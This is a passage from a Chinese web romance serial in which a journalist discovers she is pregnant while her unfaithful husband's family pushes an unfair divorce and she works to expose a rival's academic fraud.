沈老太太不满地说:“每次都是这样,除了工作,一点都不考虑自己的终身大事!”
然后,她笑眯眯地问我:“丫头,有男朋友吗?我有一个孙子,可优秀了!样貌身高跟你都般配!”
我愣了一下,尴尬地道:“您说的是沈先生吧?我们见过两次。”
沈老太太眼前一亮,道:“是吗?你见过宴州?怎么样!合眼缘吗?”我无比尴尬,避开老太太的话题,解释道:“沈先生帮过我,这次过来,是想把他的外套还给他。”
说着,我将一个袋子拿了过来。
沈老太太更好奇了,“宴州的外套怎么在你这儿?你们……”
顾亦寒见我有些局促,连忙给我解围,“沈奶奶,您就别乱点鸳鸯谱儿了!昭昭跟我是一对儿,宴州哥晚了一步!您再给他挑其他家的名媛吧!”
“哦?”
沈老太太惊讶后,又泛起了淡淡的遗憾:“我怎么忽略了,叶小姐这般优秀的女孩子,必然是有主了。”
顾亦寒这时走到我身边,靠近我,对沈老太太道:“沈奶奶,看看,般配不般配?”
沈老太太眼睛都笑成了月牙,连连点头:“般配,般配!”
我暗暗瞪了顾亦寒一眼,不动声色地离他远了些。
要不是因为我在沈老夫人面前不敢放肆,我肯定不会任由他这般胡说八道!
就在这时,高朗在沈老太太身边提醒道:“老夫人,顾总来了。”
我心一咯噔,往身后看去。
顾时序带着苏雅欣已经来到了跟前儿。
他像是不认识我般,看也没有看我一眼,而是任由苏雅欣挽着他手臂,礼貌地跟沈老太太打招呼。
只不过,沈老太太的态度一直冷冷的。
谈起以后沈、顾两家可以合作,沈老太太不冷不**说:“顾总找错人了!自从我家老头子去世后,沈家的生意早就交给了我孙子,我已经不管了。”
“那也无妨,以后在海城,沈顾两家总要往来的。”
顾时序笑了笑,丝毫不在乎老太太的冷脸。
而苏雅欣刚才应该是已经听顾时序分析过了利弊,再加上我在钢琴演奏的时候博得了不少目光,她此刻一定是后悔的。
所以,她主动开口道:“老夫人,其实我也很精通钢琴的。如果您有兴趣,一会儿我为您演奏一曲如何?”
第50章 我去医院验孕
沈老太太冷冷笑了下,“苏小姐不是得腱鞘炎了吗?我这老太太可不是铁石心肠,更不会强人所难。”
“老夫人多虑了,不为难的。”
苏雅欣几乎将讨好写在了脸上,“之前的确是犯了腱鞘炎,不过现在已经好了,弹钢琴没问题。”
沈老夫人活到这把年纪,只一眼就能看穿一个人。
她拉起我的手让我站在她身边,回绝道:“我已经找到了更适合演奏的人,就不劳烦苏小姐了。”
苏雅欣原以为自己主动提出为沈老太太演奏,沈老夫人一定会感到格外荣幸和高兴。
她没想到,自己会被拒绝。
此时,她面子已经挂不住了,眼中的幽怨差点就没藏得住。
顾时序大概是心疼了,柔声对苏雅欣道:“腱鞘炎就要多休息,不要勉强自己。”
说完,他淡淡冲沈老夫人点点头,道:“我们晚上还有事,就先告辞了。”
沈老夫人并没有挽留他。
他们离开后,老夫人才冷哼了声,道:“顾总是真拎不清,我不过是说了这拜高踩低的女人一句,他就不高兴了。这么沉不住气,怎么将顾氏做大做强呢!”
顾亦寒撇撇嘴,道:“那是您说到他的心尖儿宠了!平日里,我这个哥哥,可是很能沉得住气的!”
这点我倒是很赞同顾亦寒。
顾时序刚才主动来拜访沈老夫人,明显是想沟通两家关系。
可面对沈老夫人对苏雅欣的冷言冷语,他竟然连这场宴会都没结束,就直接甩脸子带着情人走了。
这很不符合顾时序平日里的作风。
只能说,我在苏雅欣身上,看到了顾时序真正爱一个人的样子。
宴会的后半段,我一直都陪在老夫人身边。
沈老夫人并非上流圈子里看不起人的贵妇,反而很有修养,十分平易近人。
直到晚宴结束,我才跟顾亦寒告辞。
临走时,沈老夫人说下次她再举办宴会或者茶话会,一定会叫上我。
我受宠若惊,笑着答应了。
离开深宅,我们上了车,顾亦寒还一直在龇牙咧嘴地笑。
我问出了自己的疑惑:“你为什么会跟沈家这么熟?”
“因为我外婆以前跟沈老夫人是朋友,后来,外婆家道中落,才带着我妈离开帝都。”
顾亦寒叹了口气,道:“当年我爸跟顾时序他妈离婚,放弃了顾家的家产。我妈为了让我爸东山再起,带着我去求沈老夫人帮忙。我爸现在能把生意重新做大,沈家出了不少力。”
我恍然大悟,好奇心得到了满足。
“叶昭昭,我发现你真有一种魔力!只要是好人,就没有不喜欢你的!”
他得意洋洋地说:“看来,我眼光确实不错。其实上小学的时候,我就看上你了!我当时为什么不欺负别人,光欺负你?那是因为我爱你!知道吗?”
我脸上的表情都要被他这话震撼到龟裂,“那你这‘爱’还真是特别。麻烦你给别人吧,我不要!”
“那我以后换个方式爱,行不行?”
他一边说,一边往我身上贴。
我赶忙推开他,道:“你能不能成熟点?”
顾亦寒突然顿住,十分认真地看着我,道:“成熟点?像宴州哥那样?”
我一愣,差点没反应过来他说的是沈先生。
“你在胡说八道什么?”我懒得理他,将脸转向窗外。
顾亦寒道:“刚才沈奶奶就是跟你开玩笑呢,你可别当真!宴州哥今年三十多了,至今没带任何女人回过家,我们一直怀疑,他保不齐根本就不喜欢女人。总之,你别惦记他了,你俩不般配。”
我揉着隐隐作痛的太阳穴,道:“顾亦寒,你能不能让我安静会儿,别跟我东拉西扯的了!”
我跟沈宴州压根就是陌生人,总共没说过两句话,我怎么可能往那方面想?
终于,到了小区。
电梯先到了我的楼层,顾亦寒想跟我出来,我一下子把他推回了电梯里,赶紧进了家门。
隔着门,我听见他声音远远传来:“叶昭昭,你在躲瘟神吗!”
之所以这么着急回家,是因为我有一件重要的事情要做。
那就是买验孕棒。
最近频繁的干呕和迟迟不来的生理期,让我越发担心起来。
就算几率很小,但并不代表没有几率。
我一到家,就赶紧在美团上买了验孕棒。
半小时后,骑手就将东西送了过来。
我捏着验孕棒,指尖微颤,赶紧去了卫生间。
直到验完之后,验孕棒上只有"一条杠",我这才稍稍松了口气。
或许,只是因为最近压力太大,心情不好,导致的月经不调吧?
至于反胃,应该也只是胃的问题。
反正,肯定不可能怀孕的。
……
放心之后的我,才开始慢慢卸妆。
洗完澡,我坐在电脑前,邮箱里没有任**邮件。
我的那封辞职信,仿佛已经石沉大海。
公司那边,既不回复辞职,也不发解雇通知。
翌日一早,我就给公司人事打去电话。
那边回复我:“我们这里没有接到你的辞职报告,是不是你直属上司没有呈报上来?”
我无语至极,孟云初是谈恋爱谈傻了吗?
一个辞职拖了了这么久都没个说法。
我给她打去电话,那边很快就接了。
“我的辞职信你看到了吗?”
我直入主题。
孟云初道:“你想好了?真要走?我提醒你,你这个年纪正是适合生育的时候,再加上你本科学历,无论哪个公司都很难进去。我劝你别这么冲动!”
我冷冷道:“这跟你无关。你只要同意我的辞职申请,让人事那边把我**和记者证给我就行了。”
孟云初沉默了一会儿,道:“我要是不答应呢?我现在手下缺人,就算你要走,你也帮我顶过这一阵子。”
“你怎么好意思?”
我不禁吐槽道:“那天你设计让朱大成侵犯我,你就该知道,我以后不会再为你卖命了!你手下缺人那是你自己的事。不过,像你这种以权谋私的上司,你的职位被别人取代,也没什么奇怪的。”
孟云初道:“叶昭昭,我没想害你,我真的没想到朱大成会这么过分!你又不是不知道,我有苦衷的!”
我冷笑道:“你的苦衷就是嫁不进苏家,所以甘心被苏雅欣利用!你在哪儿?我们见面说。”
既然我连辞职,她还要为难我,那我就让她听一听昨天我录下的姜淑慧和苏启明母亲的对话。
孟云初道:“我现在在外面采访,下午六点才能回公司。”
就这样,我将今天的更新发到了小说后台,下午看着时间差不多了,我便驱车去了公司。
当时已经下班了,我们部门今天没人加班。
我敲了敲孟云初办公室的门,没有回应,但里面的灯还亮着。
良久,我还是推开了门。
眼前的景象让我瞪大了眼睛。
孟云初倒在地上,白色西装裙都是血。
她已经昏迷了。
我吓了一跳。赶紧打了急救电话。
……
医院里。
医生说孟云初自己擅自做药流,现在必须清宫把里面的胎儿清除干净。
如果出血量控制不住,很可能连子宫都保不住。
我无法想象,她吃了药流的药,居然还去上班?
现在,我联系不到跟孟云初有关的任何人,孟云初又昏迷不醒,我只能替她签了字,在手术室外面等她出来。
人命面前,之前的恩怨情仇只能先往后放一放了。
等孟云初做手术的空档,我也去了妇科门诊,想看看我月经不调的事。
跟医生叙述了我的症状,医生直接开了单子,让我抽血。
“去查一下,看看是不是早期妊娠。”
我一愣,赶紧解释
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道:"我昨晚已经用验孕棒验过了,并没有怀孕。而且……我和我丈夫夫妻生活非常少,也有做避孕措施。"
医生道:"验孕棒的准确率并不是百分百。我在妇科这么多年,见过太多避孕失误,验孕棒不准,弄出来孩子的情况了。你去抽个血看看吧,如果不是怀孕,再按照月经不调处理。"
医生的话让我本来已经放下的心又重新悬了起来。
为了彻底消除意外的隐患和顾虑,我还是听从医生的建议,去抽了血,查早孕指标。
但这家医院并非大医院,只是一家区级医院。医生说晚上他们不做这项检查,可以先抽血,检验结果明天白天出来再通知我。
……
一小时后,孟云初躺在平车上,被护士从手术室里推了出来。
好在她已经醒了,子宫也保住了。
到了病房,她虚弱地开口道:“医生都跟我说了,是你送我来的。叶昭昭,谢谢你……”
“把你家人电话给我,我给他们打电话。”
我冷着脸,心里还在生气她之前那样摆我一道。
既然她已经醒了,我也不想再重复上次那个‘农夫与蛇’的故事。
孟云初苦笑着摇了摇头,道:“别打了,他们不会过来的。”
“那你未婚夫呢?把他电话给我。”
我想着昨天苏启明还带着孟云初出席晚宴,总不至于今天就翻脸不认人了吧?
孟云初突然哭了出来,不是隐忍的流泪,而是崩溃的大哭。
我被搞得手足无措,问:“你究竟怎么了?别光哭,说话!”
她哭了很久,才对我说:“他下午约我出来,说是给我带了维生素,对孕妇身体好。我以为那真的是维生素……”
我大惊失色。
搞了半天,流产药不是孟云初自己吃的,而是苏启明骗她吃下去的。
我摸了摸口袋里的录音笔,算了,不让她听那些话了。
否则,不知道她还能不能受得了?
这时,我看到孟云初将手机拿了出来。
“你给谁打电话?”我问。
孟云初眼中好像还有最后一丝期待,道:“苏启明。我想问问他,究竟是怎么想的?”
我恨铁不成钢地说:“你能不能清醒一点?他都这么做了,你说他是怎么想的?“
可孟云初还是坚持拨了苏启明的电话。
果不其然,电话那边关机,苏启明连电话都不再接她的了。
孟云初就这么一直打。
我看不下去了,直接拿出录音笔,道:“或许你听了这个,就会知道,你这么做,一点意义都没有。”
很快,姜淑慧和苏雅欣母亲那天的对话从录音笔里传了出来。
她们语气中的轻慢和不屑,让孟云初攥紧手指,她打吊针的那只手都因为过分用力,出现了回血。
“原来,她们从始至终,都没有想过接受我……”
孟云初惨笑着,眼泪浸湿了枕头。
渐渐的,她目光释放着怨怼的光芒,对我道:"你不是想写关于顾氏设备延迟的新闻吗?写吧!关于苏启明那些料,你只管写。我负责发!"
我微微松了口气,幸好,她清醒了。
就在这时,我手机响了,来电显示竟然是我婆婆的。
我有些疑惑,这些年来,姜淑慧很少主动打电话给我。
电话接通后,姜淑慧道:“明天来家里一趟,我有事情要跟你谈。”
“什么事需要见面谈?”我心里防着她,便道:“有什么事电话里不能谈吗?”
姜淑慧冷声道:“离婚的事怎么电话里谈?电话里能签字吗?”
我蹙了蹙眉,我记得离婚协议我已经签了字,只要顾时序签字,这个流程就能继续往下走了。
我正准备开口,姜淑慧道:“时序已经拟好了离婚协议,就等着你来签字了!”
顾时序又写了一份离婚协议?
难道我之前那份协议,他不满意?
第51章 顾时序要我净身出户
我盯着黑下来的手机屏幕,心中满是疑惑。
这时,孟云初的声音拉回了我的思绪。
“叶昭昭,能不能别辞职?”
她眼中含着祈求,哽咽道:“我错了,我之前不该鬼迷心窍,听苏雅欣的话,这么对你。我以为她只是想让你被朱大成占点便宜,给你一个教训。我真的没想到,她这么狠。”
我问:“她指使你的证据有吗?录音,或者微信聊天记录,有没有?”
孟云初一脸歉疚地说:“是他哥哥那天把我约出来,把她的意思传达给我的。我当时还很信任苏启明,所以……我没有录音。”
我有些失望。
如果当时这些话能录音,或者有聊天证据,我就能揭穿苏雅欣的嘴脸了!
孟云初似乎意识到了我的想法,对我道:“以我这些年对苏雅欣的了解,这女人做事向来阴险,她不会脏了自己的手。你要是想找到她的马脚,恐怕得下点功夫了。”
“算了,不提她了。”
我现在提起这个名字,就生理性反胃,恶心得很。
其实她是什么样的人,根本不要紧,反正以后都是顾时序受着。
只要她不来惹我,我压根不想跟这种女人多做纠缠。
“昭昭,你真的不能走!你不知道我们新闻部的环境,两三个人都盯着我的位置,他们各自为阵,几乎快把我架空了。我的手下里,只有你最能拿得出手。你别辞职,行不行?”
以往盛气凌人的竞争对手,如今姿态卑微地求我别走。
但我是真被她这种反口咬人的作风搞怕了。
看着床上可怜巴巴的女人,她没了孩子,也没了男人,更没有强大的家庭背景。
她只剩下这份工作了。
“好,在你出院之前,我可以不走。”
我暂时答应了,并且对她道:“但是顾氏医疗设备上市的事情结束,我会重新考虑这份工作。如果我在这里做得开心,才会继续做下去。”
孟云初自嘲地说:“以前上学,你就总是占上风。现在看来,好像你又占着上风!”
我严肃地看着她,道:“孟云初,我希望从现在开始,我们是工作伙伴,而不是钩心斗角的竞争对手。如果再被我发现一次,你在我背后阴我。那我会毫不犹豫地离开公司!”
“以后,绝对不会了。”
孟云初迎上我的目光,一字一句地保证。
我点点头,道:“明天我就回公司工作,帮你守着阵地。你现在这种状况,最好住几天院好好养养身子,别到时候落下病根。至于请假理由,你自己想吧。我不会出卖你。”
孟云初感激地说:“谢谢你,昭昭。”
临走时,我建议孟云初请个护工。
毕竟,从明天起,我不仅需要工作,还要更新我的小说,不会有过多的时间照顾她。
……
我经过一晚上的考虑,为了跟顾时序顺利离婚,我还是答应了姜淑慧明天去一趟。
翌日,我去公司继续研究关于苏启明和顾氏心肺支持仪的事情。
中午下班,我动身去了姜淑慧那儿。
姜淑慧那边的管家跟她自然是一个鼻孔出气的,他对我并不尊重,没有任何称呼,冷冷道:“跟我来吧!”
进了别墅,姜淑慧和苏母都在,两个女人聊得不亦乐乎。
见我来了,苏母毫不掩饰打量的目光,带着抹嘲讽在我身上流连。
姜淑慧皮笑肉不笑地说:“来了?看来,为了跟顾亦寒那个私生子在一起,你也是等不及要离婚了。”
我面无表情地说:“不要废话,不是要我签字吗?离婚协议拿出来。”
姜淑慧显然没想到我会这样爽快。
虽然她盼着顾时序能早日跟我离婚,可她没有等到我痛哭流涕的离场,总觉得没达到她心里的期望。
管家拿来了离婚协议。
姜淑慧直接扔在我面前,道:“签字吧!时序的意思是,既然你红杏出墙,那就不要给顾家丢脸了。好聚好散,你们叶家也不至于受你连累。”
字我肯定是要签的,可我听着她这番话,简直像吃了一只苍蝇似的。
究竟是谁出轨?
谁给谁丢脸?
我强忍着愤怒,打开离婚协议一条条看着。
越看,越不对劲。
顾时序真的好狠!
我当时让律师写的离婚协议里,只是一些顾时序明面上的资产,对他来说,简直就是九牛一毛。
即便如此,顾时序还是不肯放过我。
在这份离婚协议里,他将过错全都推给了我,说我出轨,让我净身出户。
我攥紧了手中的纸张,气得手都微微颤抖。
姜淑慧催促道:“怎么,不敢离?原来你也知道,离开时序,离开顾家,你什么都不是!”
我面无表情地看着她,道:“顾时序呢?让他来跟我谈。”
难道,他也知道自己太无耻,所以净身出户的离婚协议让他母亲交给我,他自己都没脸面对我?
苏母走过来,劝说道:“叶小姐,我们雅欣嫁给时序是不图名利的。毕竟,我们苏家什么都有,不需要靠婚姻实现什么。我作为过来人,也劝你一句,女孩子要靠自己,不要总是惦记别人的财富。”
“过来人?”
我嗤笑了声,反问道:“你作为过来人,就教育你女儿去给别人当小三?既当又立,我算是知道,苏雅欣是跟谁学的了!”
姜淑慧斥责道:“你给我住口!叶昭昭,你最好赶紧把字签了,好聚好散。否则,时序起诉你,我可就管不了了!”
我当着她们的面,一下一下的撕碎了手中这如同割地赔款的不平等条约。
“起诉我?”
我点点头,道:“我等着!离婚可以,但是该我的财产,一分都不能少!”我将手中的碎屑直接扔在她们脸上,转身离开。
身后传来姜淑慧的骂声,要多难听有多难听。
走到庭院里,恰好碰到顾时序的车开了进来。
很快,他和苏雅欣带着孩子从车上下来。
“爸爸抱!”
朵朵伸着手臂撒娇。
顾时序笑意温柔,将女儿抱了起来,“我们朵朵最近又重了!”
苏雅欣在一旁甜甜的笑着道:“那是因为最近你每天都陪着我们,朵朵心情好,所以吃的就多啊!”
三人有说有笑的。
当他们看见我时,笑意忽然就静止了。
就仿佛我是这个家里,唯一的不速之客。
朵朵嫌弃的开口的道:“爸爸,奶奶说你已经把这个女佣阿姨开除了,她怎么又来了?”
苏雅欣一副体贴懂事的样子,道:“时序哥,我抱朵朵进去,你们聊。”
顾时序将女儿交给了苏雅欣。
就连她们母女进去的时候,他的目光都追随着她们的背影。
我刚才在别墅里被姜淑慧她们气到了,也恶心到了。
泪失禁体质作祟,我觉得眼眶酸胀得很。
我仰起头,深呼吸着,绝对不能让顾时序看见我的眼泪。
当然,我跟他也没什么可聊的。
当我路过他身边时,却被他拉住了手。
顾时序幽暗的眸子落在我身上,问:“你怎么来了?”
是啊,我结婚四年,都很少踏足这里,的确很奇怪。
我冷冷地说:“自己去问你妈。”
他仍旧没有放开我的手,道:“既然来了,那就进去一起吃个饭吧。”
这语气如同赏赐,又让我恶心了一把。
就好像他给了我一个舔他母亲的机会,我该感恩戴德地接受。
我一字一句地说:“以前我只觉得你虚伪,今天我才发现,你还很卑鄙无耻!”
顾时序眉头紧蹙,冷声道:“叶昭昭,你想利用顾亦寒争风吃醋,我没理会你,你就恼羞成怒这样
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?今天来这儿找我,不就是想让我哄你回来?”
我被气到无语失笑。
随即,拿出手机打开通讯记录,道:“看清楚,是你妈叫我来的!你们顾家不要欺人太甚!否则,我不介意把我们的结婚证曝到网上,让你跟苏雅欣身败名裂!”
“你敢!”
顾时序眸中骤然迸发出阴鸷,警告道:“雅欣和朵朵是我的底线,如果你非要踩着我底线试探。那么这个顾太太的位置,我随时可以收回去。”
我想哭又想笑,“顾时序,我要解释多少遍,你才能相信,我早就不稀罕顾太太这个空名头了。想离婚是吗?把你的资产拿出来,放在台面上我们好好算算账。”
就在这时,姜淑慧从别墅里出来,刚好听见我这番话。
她恨恨地道:“我说什么来着?她嫁给你,就是为了我们顾家的荣华富贵!这下,原形毕露了吧!”
我站直了脊背,直直盯着顾时序阴郁的面容,道:“净身出户,我不可能同意的。你们太过分了!”
在我说出这句话的时候,顾时序眼中露出一丝错愕,追问道:“什么净身出户?”
我不想陪着他们母子演戏,撂下一句:“你想知道什么,就自己去问你妈!”
便离开了这里。
回到公司,我午饭都没吃,就开始写新闻稿。
现在社会上许多需要心肺支持仪续命的病人和家属都在关注着设备上市时间。
而顾氏集团为了保住苏启明,一直在拖着,跟审核组的人软磨硬泡,就是不愿意承认他们的主设计师有问题。
我将苏启明的学历和论文资料写在了新闻稿里。
因为我今天上午对苏启明进行背调的时候才发现,苏启明不只是学历是水出来的,就连他发表在各类科学杂志上的论文,都不一定是自己写的。
我将写好的新闻稿发给孟云初审核,很快,就得到了认可。
当这条新闻在下午发出去的时候,迅速占领了热搜。
毕竟,大家只关注顾氏设备推迟上市的事情,但从没有人深挖过设计师的背景。
我这条新闻,无疑是把苏启明推到了风口浪尖上。
许多公众号开始**苏启明,轻而易举地就扒出了苏启明的身份是大明星苏雅欣的亲哥哥。
连锁效应还不止于此。
苏启明和苏雅欣的父亲被扒出是某大学教授,就是生物医学工程领域的专家。
所以,苏启明的实验数据和论文,很有可能是父亲帮他弄的。
评论区里,普通人的愤怒快要冲破屏幕:
“妈的,劳资在生物医学工程学了十年,头发都熬秃了,才拿到博士学位。人家大明星的哥哥,四年就办到了!”
“重点是,人家本科是个学艺术的,还是个国外野鸡大学。回国之后,一跃成为名校博士了,这是把我们当日本人耍呢!我们普通人要不是看了这篇新闻,这辈子都不知道学术圈居然还能这么玩儿!”
“太可恨了!有没有人管管啊!海城大学”2+2”的特色专业,不就是为这种家世背景设置的吗?为了让这些权贵子弟走捷径,真是无所不用其极啊!”
“……”
另一些人则是把愤怒的焦点**在了苏雅欣身上:
“你们看过那个很火的综艺没有?苏雅欣总是营造自己出自学霸世家的人设,说她爸和她哥都是科学家。现在看来,戏子的嘴里没一句实话!”
“就是!之前还总说她最崇拜的人就是她哥,年纪轻轻就拿到了博士学位。我呸!”
“真不要脸,一家子骗子,说不定她哥跟她爸都是假的科学家,都该好好查查!”
“……”
我这篇新闻的数据以不可阻挡的趋势陡增。
就在这时,医院那边打来了电话,“叶小姐吗?您昨天验孕的抽血报告出来了,现在可以来医院领取了。”
第52章 顾时序发现我怀孕
“好的。”
我想着正好可以趁拿报告,顺便去趟孟云初那儿,将这个好消息告诉她。
如果她手底下再出几个这样的爆款新闻,她总监的位置就更稳固了。
路上,我心情还挺放松的。
毕竟,我觉得昨天抽血也不过是为了排除那万分之一的概率,让自己放心一些。
我压根就不觉得自己这么倒霉,能踩中那微乎其微的可能。
直到我拿了报告,回到妇产科的时候,医生告诉我:“根据你末次月经的时间,你已经妊娠五周了。”
我当即愣住了,不可置信地问:“您确定吗?”
医生拿着检查报告道:“我当了几十年的妇科大夫,难道连妊娠都会看错?”
我心顿时凉了半截,更重要的是,我想到这段时间发生的事,连忙问医生:“我之前不知道自己怀孕,输过抗生素,也吃过药,前几天还喝酒了。这样孩子不会受到影响吗?”
“从抽血的结果来看,胎儿是正常的。如果你想看他的发育情况,可以等胎儿八周的时候去做B超。”
医生似乎看出了我的为难,道:“未婚先孕?如果是这样,就尽快做掉吧。毕竟,胎儿越大越麻烦。”
医生的话,让我的脑子嗡嗡作响。
我是失去过一个宝宝的人,让我亲手杀掉自己的第二个孩子,真的比杀了我还要难受。
可如果留下这个孩子,我之前经历了这么多影响小孩发育的事,他真的能平安存活下来吗?
我从医生诊室离开的时候,好像灵魂都不在身体里了,失魂落魄地往前走。
就在这时,一个清冷的声音拉回我的思绪,也让我脊背出了一层冷汗。
“叶昭昭?”
顾时序狐疑地看着我,问:“你在这儿干什么?”
我猛地抬头,便看见他带着苏雅欣也出现在了妇产科。
甚至因为苏雅欣这个大明星到来,此时的妇产科已经被清场了。
我克制着微乱的心跳,不动声色地将手中的化验单藏在身后,淡淡地说:“我月经不调,来看看。你们呢?”
顾时序正准备开口,苏雅欣一脸娇羞地说:“时序哥,别说,我不好意思让别人知道。”
“嗯。”
他淡淡应了声,终究是没有将他们来这里的目的告诉我。
不过我猜,或许是他们觉得时机到了,该给朵朵要个弟弟妹妹了。
甚至,苏雅欣也怀孕了。
这样的认知,让我心口发闷。
我不想跟他们多言,正准备离开,顾时序叫住我:“你马上去车库等我,我有话跟你说。”
我冷冷看着他,道:“如果你想跟我说关于苏启明的事,那就免开尊口吧。我不仅不会撤销这个新闻,还会继续深挖下去。”
苏雅欣姣好的面容划过一抹怨怼,眼神格外阴冷。
没等顾时序发话,我离开了妇产科,径直往病房走去。
毕竟,现在这个新闻爆了,关注度很高。
我得跟孟云初商量一下接下来的方向。
可我刚走到孟云初病房门口,便听见了里面的骂声。
“**!幸好我们启明没有让你进门,否则,我们全家还不知道被你祸害成什么样子呢!”
苏母说完,狠狠给了孟云初一个耳光。
紧接着,苏启明的声音也传了出来,他勒令道:“你给我听着,立刻把新闻撤销掉。就说是虚假新闻,给公众道歉,弥补我的名誉损失!”
孟云初语气前所未有的强硬:“不可能的。我既然发了,就不可能撤销。如果我所言不实,你尽管去告我。”
苏母语气越发阴狠起来,“孟云初,你以为跟叶昭昭那个蠢女人合作,就能扳倒我们苏家?你真是太天真了!如果你们执意与苏家为敌,我会让你们连骨头都不剩!”
“从苏启明骗我吃下流产药的那一刻,我们就是这一生的敌人了!不是他死,就是我死!”
孟云初说完,苏启明笑了出来,“呵,要怪只能怪你自己太天真,你以为怀上个孩子,就能逼我娶你?让你打胎你不打,非要我亲自动手,怪得了谁?”
我静静地站在门外,录音笔一闪一闪地正在录着苏家母子的话。
多么好的素材啊!
这些东西回去往下篇新闻稿上一发,又是一个爆款!
我相信,孟云初此刻的扎心和生气,绝对不亚于我。
虽然我很想进去帮她,但我必须要把完整的录音录下来,让公众看到苏家人的嘴脸。
就在这时,巡防的护士突然大声问:“你在这鬼鬼祟祟地做什么?”
我心一惊,立刻收起了录音笔。
可这时,病房里的苏母和苏启明也听见了声音,他们立刻追了出来。
“叶昭昭,你敢录音?”
苏母面容透着一抹阴狠,道:“把录音笔交出来。”
我没有理会他们,立刻转身往反方向走,甚至是用跑的。
如果这个录音笔落在他们手里,刚才那些话,就白录了。
可苏启明也同样知道这点,如果录音上传到网上,那他绝对是身败名裂的事。
所以,他拼命地追我。
我终究是跑不过一个男人。
苏启明追上我,拉住我胳膊就要抢我手里的录音笔。
就在这时,苏雅欣的声音传了过来:“哥,你们在干嘛?”
顾时序跟在苏雅欣后面,也疑惑地看着我们。
苏母气喘吁吁地追了过来,道:“时序,叶昭昭这女人居然跑到启明女朋友病房里录音!录音笔就在她手里,她是为了让我们启明身败名裂啊!”
我恨恨地戳穿他们的嘴脸:“苏启明,你一个大男人,骗女人吃流产药,学历**,学术**,你要不要脸!”
顾时序英挺的五官划过一抹意外。
似乎对我刚才的话,很震惊。
苏雅欣连忙道:“叶小姐,我不知道我哥哥怎么得罪了你,你要这样污蔑他?云初姐是不小心流产的,我们全家知道后,一起来这里看她。我知道你不喜欢我,可我求你,不要伤害我的家人,好不好?”
苏启明此时还在跟我抢那个录音笔,我几乎拼了命的挣扎,顾时序就在一边,冷眼旁观。
终于,录音笔还是被苏启明抢到了手里。
我看着自己辛苦录下来的东西马上就要没了,孤注一掷,跑到顾时序面前道:“你让他把录音笔的话放出来!如果不是我刚才说的那样,我愿意接受任何惩罚。哪怕删除新闻,给他们道歉,我都没有二话!顾时序,你信我一次,你让他把录音笔还给我!”
顾时序幽沉的目光望了我良久,声音冷漠得令人绝望:“你知不知道,偷录别人说话是侵犯别人的隐私权,犯法的。叶昭昭,别再闹下去了,跟我走。”
说完,他扣住我的手腕,强行带走了我。
我回头时,苏雅欣他们一家三口,嘴角上扬,毫不掩饰胜利的笑容。
我简直气得咬碎了牙!
差一点,就差一点!
可是顾时序不信我,也不帮我。
只要苏雅欣一句话,他就可以毫不怀疑地偏帮苏家人。
“顾时序,你放开我!”
我恨得要命,眼泪都被气了出来,“浑蛋!你放开!”
可他就这么一路拉着我去了车库,直接将我塞进车里,又把车上了锁。
很快,他自己也上来了。
见我眼眸猩红,他平静的过分,“今天中午你说的净身出户,我有必要跟你解释一下。那是我妈自作主张,不是我的意思。”
我还沉浸在刚才证据被夺走的愤恨中,整个人都恨得发抖,一个字都不想跟他说。
顾时序继续道:“我说过,只要你不去伤害雅欣和朵朵,没人能动你这个顾太太的位置。但是昭昭,你太过分了!一次又一次地针对雅欣,甚至不惜伤害她身边的人。”
我深深吸了口气,声音仍旧还有轻微的颤抖,道:“我再跟你说一遍,这个顾太太的位置我早就不稀罕了!”
“那为什么不签字?”
他微微牵起唇角,像是看穿我似的,道:“我妈说,你没有签字,还撕了那份离婚协议。你敢说,你真的不在乎顾太太这个名分?”
我一字一
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句地说:“那是因为财产分割不公平!过错方是你,我凭什么净身出户?”
顾时序幽幽地说:“我们认识了二十年,你不是个贪慕钱财的人,我太了解你了。”
他言外之意是,我撕掉离婚协议唯一的目的,就是为了不跟他离婚,继续当他的太太。
我正准备告诉他,我早就签好了离婚协议放在送他的礼物里。
顾时序却开口打断道:“昭昭,把这条新闻撤掉,不要为难雅欣和苏家人。我可以跟你保证,你这个顾太太会继续安稳地坐下去。”
我紧紧闭上眼睛,拼命克制着难以压抑的心痛和委屈。
苏家人恶贯满盈,我只是做了一件正确的事,去揭发他们。
在顾时序看来,却是为难他们。
我调整了半天情绪,才终于能平静地跟他沟通,“顾时序,这个顾太太,你让谁做都无所谓。但是新闻我会继续写下去,如果你再威胁我,我会把你对我的威胁,也一并写进新闻里。”
顾时序眉心紧皱,沉声道:“无论是顾氏,还是我,都不是那么容易被打败的。你想跟顾亦寒一起挑衅我,那只能是自掘坟墓。”
“那就试试吧!”
我没想到,他在包庇苏家的同时,还不忘往我身上泼脏水,说我跟顾亦寒联合害他们顾氏。
我讽刺得弯了弯唇角,“顾亦寒现在真比你像个人样儿!”
这时,一阵恶心涌了上来,我捂着嘴干呕了一下,又赶紧忍住了。
我捏紧了装着化验单的包包,再看看眼前这个男人的嘴脸,我怎么能让他做我孩子的爸爸?
生怕他发现什么,我赶紧推开车门想走。
可顾时序突然拉住我的手,目光又沉又深,问:“你怎么了?”
“没事。”
我淡淡说了两个字,但是反胃的感觉太难受,他也看出了我在忍着。
“我再问你一次,你今天去妇产科干什么去了?”
顾时序锐利的眼神中透着探究和审视。
我攥着指尖,故作平静地说:“月经不调去找医生调理一下。我也想问问你,你跟苏雅欣去妇产科做什么了?”
“这是她的私事,与你无关。”
他这般护着苏雅欣,我怎么敢将怀孕的事告诉他?
谁知道他会不会为了苏雅欣和朵朵不受委屈,让我把孩子打掉?
谁知道他会不会因为我有了他的孩子,他要把我永永远远困在顾家这个牢笼里?
我离开时,他还不忘提醒我:“苏启明是顾氏心肺支持仪的主设计师,他如果出事,心肺支持仪的上市将遥遥无期。你母亲也是这个设备的受益人之一,你自己好好掂量一下吧!”
我承认,我比谁都想让这个设备尽快上市。
可是,医疗科研圈子里出现了苏启明这种浑水摸鱼的人,如果没人揭穿他,他以后只会越来越嚣张。
他研制出的药物和设备不是普通的东西,而是要用在人身上的。
我怎么能眼睁睁看着这种人,作为科研圈的引领者?
这太扯淡了!
所以我没有答应顾时序任何要求,更不可能做违背我良心的事。
苏启明的料,我是要挖到底了!
不过现在,还有一件更令我烦心的事,那就是肚子里这个突然降临的意外。
我究竟该不该留下他呢?
本想跟宋今若说这件事,问问她的意见。
可这人居然根本就不在国内。
电话里,她声音甜蜜,“裴医生要去国外参加研讨会,我跟着一起去了。”
我一时没反应过来,问道:“他去开会,你为什么跟着?”
“因为……”
宋今若声音都变夹了,“我跟他在一起了!昨天刚确定关系,想回国之后跟你说来着!”
见她最近这么开心,我也不想用这件事让她扫兴。
